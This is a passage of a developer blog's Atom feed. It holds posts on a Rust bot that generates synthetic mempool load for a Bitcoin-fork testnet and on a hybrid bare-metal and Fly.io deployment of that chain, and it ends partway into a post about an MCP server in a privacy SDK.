<p>Privacy&#39;s four curves crossed in 2026. The next ten years are infrastructure-build. We are going to be a stupid fraction of that infrastructure or none of it, and either way the wave is happening.</p>
<p>If that sounds like the kind of thing you want to be in the middle of, <a href="https://cal.com/daxts">my calendar is open</a>.</p>
<h2>Further reading</h2>
<ul>
<li><a href="https://zeralabs.org">zeralabs.org</a> — product surface</li>
<li><a href="/blog/pedersen_commitments_in_production/">Pedersen commitments, in production</a></li>
<li><a href="/blog/nullifiers_without_witchcraft/">Nullifiers without the witchcraft</a></li>
<li><a href="/blog/why_i_started_zera_labs/">Why I started Zera Labs</a></li>
<li><a href="/blog/zera_sdk_scaffolding/">Building the Zera SDK: Day One</a></li>
<li><a href="/blog/what_running_a_bitcoin_mine_taught_me/">What running a Bitcoin mine taught me about cloud margins</a></li>
<li>Grassi et al., <em>Poseidon: A New Hash Function for Zero-Knowledge Proof Systems</em> (USENIX Security 2021)</li>
<li>Anthropic, <em>Model Context Protocol Specification</em> (2025-11-25)</li>
</ul>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Generating mempool with a Rust txbot]]></title>
  <id>https://blog.skill-issue.dev/blog/vanta_txbot_synthetic_mempool/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/vanta_txbot_synthetic_mempool/"/>
  <published>2026-04-13T17:39:39.000Z</published>
  <updated>2026-04-15T00:00:00.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="vanta"/>
  <category term="rust"/>
  <category term="txbot"/>
  <category term="mempool"/>
  <category term="testnet"/>
  <summary type="html"><![CDATA[Empty blocks lie. A new chain whose miners are mining empty templates is not exercising any of the code that fails in production. The txbot is a 200-line Rust loop that round-robins coins through 114 addresses to keep mempool honest.]]></summary>
  <content type="html"><![CDATA[<p>There is a class of bug in a Bitcoin-style chain that you only ever see when the mempool is non-trivially full. Fee-rate accounting, RBF replacement, package relay, mempool eviction policies — all of it is only ever stressed by <em>real spend pressure</em>. A new chain whose miners are mining empty templates against an empty mempool is, by definition, not exercising any of that code. So you ship a transaction bot.</p>
<p>The Vanta txbot is <a href="https://github.com/Dax911/vanta/blob/main/txbot/src/main.rs"><code>txbot/src/main.rs</code></a>, a 200-line Rust loop that round-robins random spends across 114 pre-funded Z-addresses on the testnet wallet. This post is a tour of what it does, what it found, and why the synthetic-load approach is non-negotiable when you&#39;re bringing up an L1.</p>
<h2>The problem statement</h2>
<p>In April 2026 I had a chain that worked. Bitaxes were finding blocks, the explorer was rendering them, the wallet was sending and receiving. There were also days where the mempool depth was zero for hours at a time, because the only people transacting were me, and I sleep.</p>
<p>A pre-mainnet chain that produces empty blocks is <em>less debugged</em> than one with mempool pressure. Things you don&#39;t notice when blocks are empty:</p>
<ul>
<li>Fee estimation has nothing to estimate against and falls through to <code>fallbackfee</code>.</li>
<li>Coin selection is trivial when there are 12 UTXOs in the wallet. With 1,000 UTXOs across 114 addresses, you start hitting <code>bnb</code>-vs-knapsack edge cases.</li>
<li>Block-template construction never sees competition between transactions. Every fee policy is moot.</li>
<li>The mempool&#39;s eviction policy, ancestor/descendant limits, and policy-vs-consensus split — all untested.</li>
</ul>
<p>The fix isn&#39;t &quot;wait for users.&quot; Users come <em>after</em> the chain is debugged. The fix is to ship synthetic load and let the chain talk to itself.</p>
<h2>The bot in 200 lines</h2>
<p>The configuration up top sets the spend envelope:</p>
<pre><code class="language-rust">const MAX_SPEND_RATIO: f64 = 0.40;
const MIN_SPEND_RATIO: f64 = 0.05;
const MAX_OUTPUTS: usize = 12;
const MIN_DELAY_MS: u64 = 200;
const MAX_DELAY_MS: u64 = 2000;
</code></pre>
<p>Every round, the bot picks a random fraction of its current balance between 5% and 40%, splits it into 1–12 random output amounts, picks 1–12 destination addresses uniformly from the address pool, and sends. Then sleeps a random 200ms–2000ms and goes again.</p>
<p>The address pool is hardcoded inline as a <code>&amp;[&amp;str]</code> of 114 Z-prefix addresses. They&#39;re real addresses owned by the testnet wallet (the bot is running against the wallet RPC), so coins keep round-robining through the same wallet — never net leaving, just churning.</p>
<p>The spend loop is the simplest thing that works:</p>
<pre><code class="language-rust">loop {
    round += 1;

    let balance = match get_balance(&amp;rpc) { Ok(b) =&gt; b, ... };
    if balance &lt; 1.0 {
        std::thread::sleep(Duration::from_secs(10));
        continue;
    }

    let spend_ratio = rng.gen_range(MIN_SPEND_RATIO..=MAX_SPEND_RATIO);
    let total_spend = balance * spend_ratio;
    let num_outputs = rng.gen_range(1..=MAX_OUTPUTS);
    let amounts = random_split(&amp;mut rng, total_spend, num_outputs);

    // ... send each output via sendtoaddress, log txid

    let delay = rng.gen_range(MIN_DELAY_MS..=MAX_DELAY_MS);
    std::thread::sleep(Duration::from_millis(delay));
}
</code></pre>
<p><code>random_split</code> divides the total spend into <code>n</code> pieces by sampling <code>n-1</code> uniformly random cut points. This produces uneven splits — most outputs are small, a couple are medium, occasionally one is large. That distribution is <em>closer to organic spending</em> than equal splits would be, and it stresses coin selection harder.</p>
<p><code>sendtoaddress</code> is called once per output rather than once per <code>n</code>-output transaction. This was a deliberate choice: it produces more transactions per round (which is the point), and it lets the chain pick how it batches them in mempool selection.</p>
<h2>What it actually exercised</h2>
<p>The bot ran for weeks against the Latitude testnet. Things it surfaced:</p>
<p><strong>Fee estimation falls through.</strong> The first time the bot sent a transaction the call returned <code>&quot;Fee estimation failed.&quot;</code> The fix was the now-canonical <code>settxfee</code> at startup with a 0.0001 fallback. Same line is in the <a href="/blog/vanta_wallet_axum_api/">Axum web wallet&#39;s main.rs</a> for the same reason.</p>
<p><strong>Wallet RPC contention.</strong> When the bot rate is high, multiple <code>sendtoaddress</code> calls in flight contend on the wallet&#39;s lock. The bot is single-threaded so it&#39;s only contending against itself plus whatever else uses the wallet (the web UI, occasional manual sends). The lesson: if you&#39;re going to run the bot at high rate, give it a dedicated wallet via <code>loadwallet</code>.</p>
<p><strong>Mempool eviction.</strong> With the bot churning 5–10 transactions per round and a 1-minute block time, mempool depth would creep up during slow blocks and drain on fast blocks. This was the first time I watched the eviction policy actually run. It&#39;s <em>fine</em> — Bitcoin Core&#39;s mempool is one of the most-tested pieces of state in the codebase — but watching it from the outside helped me build a model of how it behaves at our parameters (1-min blocks, 100k subsidy, low fee floor).</p>
<p><strong>Pool L2 retry queue.</strong> The 2026-04-13 commit <code>ops: vanta-node systemd unit + docker compose + pool L2 retry queue</code> landed a feature where the <a href="https://github.com/Dax911/vanta/blob/main/pool/stratum_server.py">Stratum server&#39;s L2 submission</a> is enqueued for retry when the L2 sidecar is unreachable. We discovered the need for that retry queue because the txbot was generating enough block-finding pressure that the pool was sometimes hitting <code>submitblock</code> while the L2 sidecar was being restarted. Without the retry queue, those blocks&#39; encrypted notes would be lost. With it, they get replayed when the L2 comes back.</p>
<p>That&#39;s the synthetic-load test paying for itself in a feature that ended up in the production pool code.</p>
<h2>Things the bot is <em>not</em> designed to be</h2>
<p>The bot is a stress generator, not a fuzzer. It does not:</p>
<ul>
<li>Construct invalid transactions to test rejection paths. (That&#39;s the functional tests in <code>test/</code>.)</li>
<li>Try to double-spend. (The wallet won&#39;t let it; the chain wouldn&#39;t accept it.)</li>
<li>Generate shielded transactions. (No SP1 prover in the bot loop. Yet.)</li>
<li>Negotiate fees adversarially. (Single fixed fallback fee.)</li>
</ul>
<p>I have <em>thought</em> about adding all of these. The shielded-transaction one is the interesting next step. A txbot that includes some fraction of shielded sends would exercise the SMT growth path, the nullifier-set growth path, and the encrypted-note inbox at <code>vanta-node</code> — all of which currently only get exercised by manual sends from the wallet.</p>
<p>Adding ZK proof generation to the bot loop is the trade-off though. SP1 proofs take 30–60 seconds on CPU, so a bot that does 10 sends per minute can&#39;t be all-shielded. <strong>TODO: Dax confirm whether we want a <code>--shielded-ratio 0.2</code> flag to mix.</strong></p>
<h2>Why not synthetic at the protocol level</h2>
<p>A reasonable counter-design: instead of running a separate bot, make <code>vantad</code> itself emit synthetic transactions in a <code>regtest</code>-only mode.</p>
<p>Two reasons we didn&#39;t:</p>
<ol>
<li><strong>The bot is real.</strong> Every transaction the bot sends is signed by a real key, broadcast through real RPC, and validated by real consensus. It exercises the same code paths a user transaction would. A built-in synthetic mode is cheaper but it is at risk of taking shortcuts that a real RPC client wouldn&#39;t take.</li>
<li><strong>Operational separation.</strong> The bot is a thing I can stop, restart, retarget, or add features to without touching <code>vantad</code>. That separation matters; the consensus binary should not contain test-traffic-generation code.</li>
</ol>
<p>The bot lives in <code>txbot/</code>, separate Cargo workspace, separate binary. The cost of that separation is a few extra lines of <code>bitcoincore-rpc</code> setup. The benefit is that I can iterate on the bot during a deploy without rebuilding the chain.</p>
<h2>What I would change</h2>
<p>A list, in order of priority:</p>
<ol>
<li><strong>Multiple workers.</strong> A single-threaded bot maxes out around 10 tx/sec because of RPC round-trip latency. A 4-worker version with a shared rng seed would 4x the rate without changing the workload shape. Easy.</li>
<li><strong>Shielded mix.</strong> As above. Adds the SP1 dependency and an L2-sidecar URL to the bot&#39;s config; cost is per-tx latency.</li>
<li><strong>Adversarial replacement.</strong> Send a tx, then send a higher-fee replacement before the first confirms. Tests RBF policy. Easy.</li>
<li><strong>Mempool snapshot logging.</strong> After each send, query <code>getmempoolinfo</code> and <code>getmempoolancestors</code> for the txid. Log the mempool depth and ancestor count. This produces a time series I can graph against block-find events to see how mempool pressure correlates with confirmation latency. Low priority.</li>
</ol>
<p>The bot is also <em>load-bearing for the explorer</em>. The 2026-04-13 commit <code>explorer: privacy throughput + anonymity charts (recharts)</code> shows transaction-count and mempool-depth charts on the explorer dashboard; those charts are flat without the bot running.</p>
<h2>Further reading</h2>
<ul>
<li><a href="https://github.com/Dax911/vanta/blob/main/txbot/src/main.rs"><code>txbot/src/main.rs</code></a> — the entire bot in one file</li>
<li><a href="https://github.com/Dax911/vanta/blob/main/txbot/Cargo.toml"><code>txbot/Cargo.toml</code></a> — dependency-light by design</li>
<li><a href="/blog/vanta_wallet_axum_api/">The vanta wallet HTTP API</a> — sister piece on the Axum wallet that talks to the same RPC</li>
<li><a href="/blog/vanta_zk_privacy_l1/">Vanta: a Bitcoin fork with ZK at consensus</a> — the chain the bot is exercising</li>
<li><a href="/blog/mining_vanta_with_a_bitaxe/">Mining VANTA with a Bitaxe BM1368</a> — the hardware that consumes the bot&#39;s mempool pressure</li>
<li><a href="https://github.com/bitcoin/bitcoin/blob/master/doc/policy/mempool-replacements.md">Bitcoin Core mempool docs</a> — the policy surface the bot indirectly tests</li>
</ul>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Latitude bare-metal primary, Fly.io backup: the deploy story for a 1-min-block chain]]></title>
  <id>https://blog.skill-issue.dev/blog/vanta_flytoml_latitude_baremetal/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/vanta_flytoml_latitude_baremetal/"/>
  <published>2026-04-13T21:18:29.000Z</published>
  <updated>2026-04-13T21:18:29.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="vanta"/>
  <category term="deploy"/>
  <category term="latitude"/>
  <category term="fly"/>
  <category term="baremetal"/>
  <category term="infra"/>
  <summary type="html"><![CDATA[Vanta v1 went LIVE on a Latitude bare-metal box at 64.34.82.145:9333 with a Fly.io seed fleet as auto-failover. Why a 1-min-block chain hates cold starts, what the fly.toml has to say about it, and the cost math that picks bare metal.]]></summary>
  <content type="html"><![CDATA[<p>The 2026-04-13 commit <code>d3d532cc deploy: vanta v1 LIVE on Latitude</code> is the moment Vanta moved from &quot;regtest on a Mac mini under my desk&quot; to &quot;mainnet on a real-world internet host.&quot; The seed node IP — <code>64.34.82.145:9333</code> — has been the bootstrap addnode in the <a href="/blog/vanta_tauri_ergonomics/">desktop wallet&#39;s auto-config</a> since that commit.</p>
<p>What the commit message doesn&#39;t tell you is that there&#39;s a <em>second</em> deploy target. The <code>fly.toml</code> in the repo declares an 11-region fleet on Fly.io, hardcoded to an old <code>zeracoin-seed</code> app name. That fleet is the <em>backup</em> — the failover that the network falls back to when the bare-metal box goes down. Bare metal is primary. Fly is the safety net.</p>
<p>This post is the architecture, the fly.toml walk-through, the cost math that makes bare metal cheaper than equivalent Fly machines, and a candid paragraph about why a 1-minute-block chain particularly hates cold starts.</p>
<h2>The two-tier topology</h2>
<p>There&#39;s a single primary bare-metal box, and a fleet of small Fly machines. The wallet&#39;s auto-config lists <em>both</em> IPs for redundancy:</p>
<pre><code>addnode=64.34.82.145:9333    # Latitude bare metal — primary
addnode=66.241.124.138:9333  # Fly.io fleet — backup
</code></pre>
<p>The bitcoind P2P protocol picks whichever it can reach first and rotates if a peer disappears. There&#39;s nothing fancy here — Bitcoin Core&#39;s peer discovery does the work. The architecture is &quot;primary host, secondary host, network sorts itself out.&quot;</p>
<p>The reason for two tiers (and not just two bare-metal boxes, or just a Fly fleet) is <em>operational</em>. Bare metal is cheap when you can give it your full attention. Bare metal is brittle when you can&#39;t — disk failures happen, ISPs renumber, hardware ages. The Fly fleet is the &quot;I am asleep, the chain stays up&quot; insurance.</p>
<h2>fly.toml, annotated</h2>
<p>The full <a href="https://github.com/Dax911/vanta/blob/main/fly.toml"><code>fly.toml</code></a> is short. The interesting parts are below.</p>
<h3>App name: the rebrand artefact</h3>
<pre><code class="language-toml">app = &quot;zeracoin-seed&quot;
primary_region = &quot;iad&quot;
</code></pre>
<p>The Fly app is <em>still</em> named <code>zeracoin-seed</code> — the pre-rebrand name. Renaming a Fly app requires recreating it (you lose the IPs and volumes), and the IPs are baked into the desktop wallet&#39;s <code>addnode</code> lines. Recreating the app would force a wallet upgrade for every existing user.</p>
<p>The fix lives in commit <a href="https://github.com/Dax911/vanta/commit/1b72aec6c"><code>1b72aec6</code></a> — <code>fly: match actual app name (zeracoin-seed) + clamp grace_period</code> — which is the moment I committed to the rebrand-postponement and updated the deploy script to match the actual app name instead of pretending we&#39;d already migrated. The tradeoff is: ugly artefact in <code>fly.toml</code> vs. forcing a migration every existing user has to participate in. The artefact wins.</p>
<h3>Kill signal and timeout</h3>
<pre><code class="language-toml">kill_signal = &quot;SIGTERM&quot;
kill_timeout = &quot;120s&quot;
</code></pre>
<p>Bitcoin Core flushes its database on shutdown. Get SIGKILL&#39;d mid-flush and you can corrupt chainstate or block files. The 2-minute <code>kill_timeout</code> is the window we give Fly&#39;s orchestrator to wait before escalating; in practice <code>vantad</code> flushes in 10–20 seconds, so 120 is generous insurance.</p>
<p>Fly defaults to a 5-second <code>kill_timeout</code>. Five seconds is not enough to flush a UTXO database, full stop. Every Bitcoin-Core deploy I&#39;ve seen on Fly that didn&#39;t override this had at least one chainstate-corruption incident. <strong>Override it.</strong></p>
<h3>Volumes</h3>
<pre><code class="language-toml">[mounts]
  source = &quot;vanta_data&quot;
  destination = &quot;/root/.vanta&quot;
</code></pre>
<p>A persistent volume mounted at <code>~/.vanta</code> — the Bitcoin Core data dir. Fly creates one volume per machine (the volume names get auto-numbered: <code>vanta_data</code>, <code>vanta_data_v2</code>, etc). The volume survives machine restarts; only a <code>fly volumes destroy</code> deletes it.</p>
<p>The data dir contains chainstate, blocks, the mempool, the peers cache, and the wallet (if any). On a fresh deploy this is empty and the machine does an initial-block-download from peers; on a restart it picks up where it left off. The volume is what makes &quot;restart a machine&quot; cheap and &quot;destroy a machine&quot; expensive.</p>
<h3>Rolling deploy strategy</h3>
<pre><code class="language-toml">[deploy]
  strategy = &quot;rolling&quot;
  max_unavailable = 0.25
  wait_timeout = &quot;10m&quot;
</code></pre>
<p>Rolling deploys take at most 25% of the fleet down at once. With 11 machines spread across 11 regions, that&#39;s about 3 machines unavailable during any given deploy. The other 8 keep the network reachable for the wallet&#39;s <code>addnode</code> lookups.</p>
<p><code>wait_timeout = &quot;10m&quot;</code> gives each machine ten minutes to come back up and pass health checks before the deploy considers it failed. Bitcoin Core sometimes takes that long to verify chainstate at startup, especially on a small machine; default Fly wait_timeout (5m) was tripping us during deploys and leaving the cluster in a partially-deployed state.</p>
<h3>Health checks</h3>
<pre><code class="language-toml">[[services]]
  internal_port = 9333
  protocol = &quot;tcp&quot;
  auto_stop_machines = false
  auto_start_machines = true

  [[services.ports]]
    port = 9333

  [[services.tcp_checks]]
    interval = &quot;30s&quot;
    timeout = &quot;5s&quot;
    grace_period = &quot;1m&quot;
</code></pre>
<p><code>auto_stop_machines = false</code> is intentional. Fly&#39;s autostop will spin a machine down after a few minutes of no traffic. A <em>seed node</em> with no traffic is suspicious, but it&#39;s not &quot;stop the machine&quot; suspicious — peer discovery is bursty, and a seed that&#39;s stopped when a wallet starts up is a seed that&#39;s not doing its job.</p>
<p><code>auto_start_machines = true</code> lets Fly <em>start</em> a stopped machine on a cold tcp connection. This is the safety net for any case where the autostop did fire.</p>
<p><code>tcp_checks</code> is a 30-second TCP-handshake probe against port 9333. If <code>vantad</code> dies or wedges, its P2P listener goes away, the TCP check fails, and Fly restarts the machine. The <code>grace_period = &quot;1m&quot;</code> is the startup window where we don&#39;t penalise a machine for being mid-IBD.</p>
<p><code>grace_period</code> is capped at 1m by Fly — anything higher gets clamped, which is a thing I learned by setting it to 5m and watching the deploy log it as &quot;1m (clamped).&quot; The 1-minute window is enough for a warm restart but not enough for a cold IBD; we work around it by not destroying machines casually.</p>
<h3>Sizing</h3>
<pre><code class="language-toml">[vm]
  size = &quot;shared-cpu-1x&quot;
  memory = &quot;2gb&quot;
  swap_size_mb = 1024
</code></pre>
<p><code>shared-cpu-1x</code> is Fly&#39;s smallest paid tier. 2 GB RAM is bumped from the default 1 GB because <code>txindex=1</code> plus the UTXO set needs headroom on a Vanta-sized chain. 1 GB swap is insurance against OOM kills during IBD bursts (specifically: the moment when the UTXO set is being loaded into memory at startup).</p>
<p>This is sized for a <em>seed</em> node, not a <em>miner</em> node. We don&#39;t run mining workloads on Fly. The Bitaxe rig at home is the <a href="/blog/mining_vanta_with_a_bitaxe/">actual mining setup</a>.</p>
<h2>The Latitude box</h2>
<p>The bare-metal primary is on <a href="https://latitude.sh">Latitude.sh</a> (formerly Latitude.net), a smaller-than-OVH-but-bigger-than-Hetzner bare-metal provider with hourly billing. The spec is a single AMD Ryzen 9, 32 GB ECC RAM, 1 TB NVMe, with a /29 subnet and an unmetered 1 Gbps port. <strong>TODO: Dax confirm the exact tier — I have it as <code>c2.medium.x86</code> but want to verify against the Latitude billing dashboard.</strong></p>
<p>What it runs:</p>
<ul>
<li><code>vantad</code> — the L1 node, listening on port 9333 (P2P) and 9332 (RPC, bound to localhost).</li>
<li><code>vanta-node</code> — the L2 sidecar, listening on port 9380 for the REST API.</li>
<li><code>nginx</code> — TLS termination for the L2 REST API (port 443 → 9380).</li>
<li>The Bitaxe pool (port 3333) — the home rig actually plugs into a separate machine, but the <em>pool stratum server</em> lives on the Latitude box.</li>
<li>The vanta-explorer (port 80 → 8080) — block explorer.</li>
<li>The fly-deploy mirror — a backup of the Fly fleet&#39;s deploy state, in case Fly itself goes down for an extended period.</li>
</ul>
<p>This is more than a &quot;seed node.&quot; It&#39;s the primary operational deploy of the chain. The Fly fleet is, again, the <em>seed fallback</em> — they don&#39;t run the explorer or the L2 sidecar. They just keep the P2P network reachable.</p>
<h2>Why a 1-minute-block chain hates cold starts</h2>
<p>Worth dwelling on this. On Bitcoin (10-minute blocks), a node that&#39;s been off for an hour comes back up and is six blocks behind. Catching up is fast. The chain&#39;s &quot;average&quot; block production rate is generous enough that a 60-second startup delay is invisible.</p>
<p>On Vanta (1-minute blocks), an hour off is sixty blocks behind. A 60-second startup is <em>one full block of latency</em>. If the seed nodes are slow to come back up, wallet UX degrades visibly: the user opens the wallet, sees &quot;syncing,&quot; and waits sixty seconds where Bitcoin would have synced in ten.</p>
<blockquote>
<p><strong>WARNING:</strong> This is the operational property that makes Fly&#39;s autostop <em>dangerous</em> for a fast-block chain. A seed node that&#39;s been auto-stopped after 30 minutes of idle, then woken up by a wallet&#39;s first connection, takes ~15 seconds of cold start. During that 15 seconds, the wallet sees no peers and reports &quot;L1 disconnected.&quot; This is a real user-visible regression compared to a warm seed.</p>
</blockquote>
<p>The mitigations are stacked:</p>
<ol>
<li><code>auto_stop_machines = false</code> in <code>fly.toml</code> — Fly never stops the seeds.</li>
<li>The Latitude bare-metal primary handles 99% of the bootstrap traffic, so most wallets never even hit the Fly fleet.</li>
<li>The Fly fleet keeps machines warm by <em>each other&#39;s</em> P2P traffic — bitcoind&#39;s peer-keepalive interval is short enough that the machines stay active even with no client traffic.</li>
<li>The Latitude box has a <a href="https://github.com/Dax911/vanta/blob/main/contrib/init"><code>systemd</code> unit</a> with <code>Restart=always</code> so any local crash recovers in under 10 seconds.</li>
</ol>
<p>I&#39;d not run a fast-block chain on a serverless-by-default platform. Fly is a great fit because it can be configured to behave like a always-on host. Fly&#39;s <em>defaults</em> are not.</p>
<h2>Cost math: Latitude vs Fly</h2>
<p>Approximate, monthly:</p>
<table>
<thead>
<tr>
<th>Component</th>
<th>Latitude (bare metal)</th>
<th>Equivalent Fly</th>
</tr>
</thead>
<tbody><tr>
<td>1× AMD Ryzen 9 (8c/16t)</td>
<td>~$140</td>
<td>shared-cpu-8x: ~$160</td>
</tr>
<tr>
<td>32 GB RAM</td>
<td>included</td>
<td>$80 (32 GB at $2.50/GB)</td>
</tr>
<tr>
<td>1 TB NVMe</td>
<td>included</td>
<td>$150 (1 TB at $0.15/GB)</td>
</tr>
<tr>
<td>1 Gbps unmetered</td>
<td>included</td>
<td>bandwidth metered, est. $30</td>
</tr>
<tr>
<td><strong>Total per box</strong></td>
<td><strong>~$140</strong></td>
<td><strong>~$420</strong></td>
</tr>
</tbody></table>
<p>Latitude&#39;s all-included pricing for a single bare-metal box is roughly <em>one third</em> the cost of an equivalently-specced Fly machine. The Fly fleet (11 small seeds at ~$5–$10/month each) costs another ~$80/month combined.</p>
<p>So the total bill: Latitude $140 + Fly fleet $80 = ~$220/month for <em>primary + 11-region failover.</em> An equivalent Fly-only deploy (one big primary + 11 small seeds) would be ~$500/month for a worse outcome (no actual bare-metal performance for the L2 indexer, no NVMe write-throughput for the chainstate, no dedicated network port).</p>
<p>This is a textbook case for hybrid deploy. The thing you&#39;re optimising for cost on (the heavy, always-on workload) goes on bare metal. The thing you&#39;re optimising for <em>availability</em> on (the geographic-redundancy seed fleet) goes on the platform with built-in geographic distribution.</p>
<h2>A tradeoff table</h2>
<p>I keep telling people to do this kind of comparison explicitly, so:</p>
<table>
<thead>
<tr>
<th>Option</th>
<th>Cost (1 yr)</th>
<th>Latency to seed</th>
<th>Cold-start risk</th>
<th>Operational burden</th>
</tr>
</thead>
<tbody><tr>
<td>Bare metal only (Latitude)</td>
<td>~$1,700</td>
<td>Variable by region (single PoP)</td>
<td>Low — always on</td>
<td>High if hardware fails</td>
</tr>
<tr>
<td>Fly fleet only (11 regions)</td>
<td>~$5,000</td>
<td>Low (regional anycast)</td>
<td>High if autostop is enabled</td>
<td>Low — managed platform</td>
</tr>
<tr>
<td>Hybrid (Latitude primary + Fly backup)</td>
<td>~$2,600</td>
<td>Low (Fly fronts geographic)</td>
<td>Low (primary always on)</td>
<td>Medium</td>
</tr>
<tr>
<td>DigitalOcean / Linode dedicated</td>
<td>~$1,200–$2,000</td>
<td>Moderate (one PoP per droplet)</td>
<td>Medium</td>
<td>Medium</td>
</tr>
<tr>
<td>Hetzner dedicated</td>
<td>~$700–$1,400</td>
<td>High (mostly EU PoPs)</td>
<td>Low</td>
<td>Medium</td>
</tr>
</tbody></table>
<p>The Hetzner option is genuinely tempting on cost grounds — half the price of Latitude. The reason I didn&#39;t pick it for <em>this</em> chain is that Hetzner&#39;s IP ranges are widely flagged by reputation services as &quot;spam-adjacent&quot; (because they&#39;re cheap and hosters use them for everything), and a small-network seed node whose IP gets transiently blocked by some random ISP&#39;s anti-spam filter is a problem I do not want.</p>
<p>DigitalOcean&#39;s $40/mo &quot;premium intel&quot; droplets would have worked too, but the bandwidth charges add up — DO meters at $0.01/GB above the included amount, and a chain seed serving IBD to fresh nodes can easily push 100 GB/day during a busy period.</p>
<h2>What changes after Phase 4</h2>
<p>Phase 4 in the <a href="https://github.com/Dax911/vanta/blob/main/doc/vanta-architecture.md">architecture roadmap</a> is &quot;full Rust node rewrite using rust-bitcoin stack.&quot; When that lands, the deploy story shifts:</p>
<ul>
<li>The L2 sidecar and L1 node are <em>one binary</em>, not two. Operationally that&#39;s a smaller blast radius — one PID to monitor instead of two.</li>
<li>The Rust node is statically linked and ships as a single ~30 MB binary. Container size collapses.</li>
<li>We can in principle deploy on smaller Fly machines (256 MB instead of 2 GB) once the C++ is gone.</li>
</ul>
<p>But Phase 4 is the <em>future</em>. The current deploy story is &quot;C++ node + Rust sidecar on bare metal, with a Fly fleet of C++-node-only seeds for failover.&quot;</p>
<h2>What I changed my mind about</h2>
<p>I started this project assuming Fly was the right deploy target for <em>everything.</em> It&#39;s a great platform, the developer experience is unmatched on its tier, and the ergonomics of <code>fly deploy</code> after years of Kubernetes is genuinely refreshing.</p>
<p>The thing that changed my mind was the cold-start property. A 1-minute-block chain has a different operational profile than a request-response web service. Fly&#39;s defaults — autostop, autoresurrect on demand, regional load balancing — are tuned for a workload where 100 ms latency is fine and 5 second cold starts are tolerable. Neither is fine for a chain seed.</p>
<p>Once I&#39;d configured Fly <em>out of</em> its defaults — <code>auto_stop_machines = false</code>, larger memory, longer kill_timeout, longer wait_timeout — I was running a Fly machine as if it were a always-on box. At which point: a always-on box is what bare metal <em>is</em>, at one-third the price, with a real network interface and dedicated NVMe.</p>
<p>The Fly fleet still has a job — geographic redundancy, multi-region warm seeds — that bare metal can&#39;t do without a substantial multi-PoP investment. So Fly stays as the backup ring. Latitude is the primary. Both are needed; neither is sufficient.</p>
<h2>Further reading</h2>
<ul>
<li><a href="https://github.com/Dax911/vanta/blob/main/fly.toml"><code>fly.toml</code></a> — the Fly config this post walks</li>
<li><a href="https://github.com/Dax911/vanta/blob/main/fly-deploy.sh"><code>fly-deploy.sh</code></a> — the multi-region deploy wrapper</li>
<li><a href="https://github.com/Dax911/vanta/blob/main/doc/vanta-architecture.md"><code>doc/vanta-architecture.md</code></a> — the infra section in the architecture doc</li>
<li><a href="https://github.com/Dax911/vanta/blob/main/Dockerfile"><code>Dockerfile</code></a> — the container both Latitude and Fly run</li>
<li><a href="/blog/mining_vanta_with_a_bitaxe/">Mining Vanta with a Bitaxe BM1368</a> — the home-rig side of the operation</li>
<li><a href="/blog/what_running_a_bitcoin_mine_taught_me/">What running a Bitcoin mine taught me</a> — the small-operator unit-economics post that informs all of this</li>
</ul>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[The MCP server inside zera-sdk]]></title>
  <id>https://blog.skill-issue.dev/blog/mcp_server_inside_zera_sdk/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/mcp_server_inside_zera_sdk/"/>
  <published>2026-04-08T16:42:00.000Z</published>
  <updated>2026-04-08T16:42:00.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="zera"/>
  <category term="mcp"/>
  <category term="sdk"/>
  <category term="ai-agents"/>
  <category term="rust"/>
  <category term="typescript"/>
  <summary type="html"><![CDATA[Most SDKs ship as a library. zera-sdk also ships as a Model Context Protocol server. Here is why an AI agent should be able to call shielded-pool primitives directly, and how we keep that interface from becoming a footgun.]]></summary>
  <content type="html"><![CDATA[<p>When we <a href="/blog/zera_sdk_scaffolding/">scaffolded the SDK monorepo</a> in early March, the first non-obvious decision was including an <a href="https://modelcontextprotocol.io">MCP</a> server in the box. Not as an example. Not as a future-work bullet. As a first-class crate alongside the Rust core and the TypeScript surface.</p>
<p>Six weeks later it still feels like the right call. Here is the reasoning.</p>
<h2>What MCP actually is, and what it is not</h2>
<p>MCP — Model Context Protocol — is Anthropic&#39;s open JSON-RPC standard for letting LLM-driven applications call tools, read resources, and surface reusable prompts from any compliant server. By the start of 2026 there were over 10,000 public MCP servers and ~97 million SDK downloads per month across the Python and TypeScript implementations. The standard is in the boring-but-load-bearing phase: every major model vendor speaks it, the spec is on a regular cadence, the working groups have process.</p>
<p>What MCP is <em>not</em> is &quot;an AI feature.&quot; It is a protocol layer. The AI part is incidental. What MCP gives you is a typed, schema-described, discovery-friendly RPC surface that any client — model, CLI, IDE, agent — can connect to and immediately understand without bespoke glue. The most useful frame is <em>&quot;USB-C for tool calls.&quot;</em> That comparison gets thrown around to the point of cliché but it is also accurate: before USB-C you wrote per-cable glue; after, the cable is part of the device. MCP does the same thing for tool surfaces.</p>
<p>The interesting question for an SDK author in 2026 is not <em>&quot;should I expose an MCP server?&quot;</em> — that question is settled by the AI-agent-economy curve I wrote about <a href="/blog/privacys_broadband_moment/">in the broadband-moment post</a>. The interesting question is <em>which</em> surface to expose, and how to keep it from becoming a footgun.</p>
<h2>The tools the SDK actually exposes</h2>
<p>The first version of <code>zera-mcp</code> shipped four tools and three resources. I want to talk about each one, because the choice of what to expose is more meaningful than the protocol mechanics.</p>
<h3><code>search_posts(query, k=5)</code></h3>
<p>Wait, no — that is the <em>blog&#39;s</em> MCP server, not the SDK&#39;s. (Yes, <a href="/blog/privacys_broadband_moment/">the blog has one too</a>, and I am building a longer post about that. Let me get back to the SDK.)</p>
<p>The SDK&#39;s four tools, as of <a href="https://github.com/Dax911/zera-sdk">commit <code>e350707</code></a>:</p>
<ol>
<li><p><strong><code>compute_commitment(asset, amount, randomness)</code></strong> — returns a Poseidon commitment to a <code>(asset, amount)</code> pair under a caller-supplied blinding factor. This is the primitive an agent uses to <em>describe a payment that has not happened yet</em> — it can hand the commitment to a human for review without ever revealing the amount.</p>
</li>
